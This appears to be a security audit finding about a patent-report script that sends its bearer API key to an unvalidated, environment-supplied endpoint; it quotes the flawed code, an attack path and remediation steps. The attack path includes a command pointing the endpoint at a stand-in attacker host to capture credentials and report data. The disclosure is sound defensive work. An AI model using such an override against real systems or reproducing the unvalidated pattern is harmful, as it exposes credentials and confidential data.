T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/patentmax_competitive.py:37
- Finding
- Arbitrary API endpoint override can disclose credentials and sensitive report data## Vulnerability Details **File Location**: `scripts/patentmax_competitive.py`, lines 37 and 61-65 **Vulnerability Type**: Unvalidated destination override and bearer-token disclosure **Risk Level**: High ### Vulnerable Code ```python BASE_URL = os.environ.get("PATENTMAX_BASE_URL", "https://api.ip930.com").rstrip("/") ``` ```python url = path if path.startswith("http") else f"{BASE_URL}{path}" data = json.dumps(body, ensure_ascii=False).encode("utf-8") if body is not None else None req = urllib.request.Request(url, data=data, method=method) req.add_header("Authorization", f"Bearer {API_KEY}") req.add_header("Accept", "application/json") ``` ### Technical Analysis The API destination is taken from the `PATENTMAX_BASE_URL` environment variable without validating its scheme, hostname, or port. Every request constructed from this destination receives the production bearer credential in the `Authorization` header. The code does not require HTTPS and does not restrict the destination to `api.ip930.com`. Consequently, an attacker who can influence the process environment can redirect requests to an attacker-controlled server. A `create` request additionally contains the complete report input, including company intelligence, internal research, analysis objectives, technical plans, and competitor information. This is not command execution or privilege escalation, but it violates destination integrity and can disclose both authentication material and confidential input data. ### Attack Path 1. The attacker gains the ability to influence the environment used to launch the Skill, such as through a wrapper script, compromised shell profile, CI configuration, container environment, or agent runtime configuration. 2. The attacker sets: ```bash export PATENTMAX_BASE_URL="http://attacker.example" ``` 3. The user or agent invokes the report creation command with a valid `PATENTMAX_API_KEY`. 4. The script constr ...[truncated 1071 chars]
- Remediation
- ## Remediation Suggestions 1. Pin production traffic to the intended HTTPS origin: ```python BASE_URL = "https://api.ip930.com" ``` 2. If endpoint overrides are required for testing, parse and validate them with `urllib.parse.urlparse` and enforce: - Scheme exactly equal to `https`. - Hostname on an explicit allowlist. - No embedded username or password. - No unexpected port. 3. Place custom endpoints behind an explicit test-mode flag and reject live keys when test mode is enabled. 4. Never attach the authorization header to an untrusted or redirected origin. 5. Disable or strictly validate HTTP redirects so credentials cannot be forwarded to another host. 6. Add automated tests confirming that HTTP URLs, arbitrary hosts, malformed URLs, and cross-origin redirects are rejected. 7. Rotate any API key used in an environment where `PATENTMAX_BASE_URL` may have been modified.
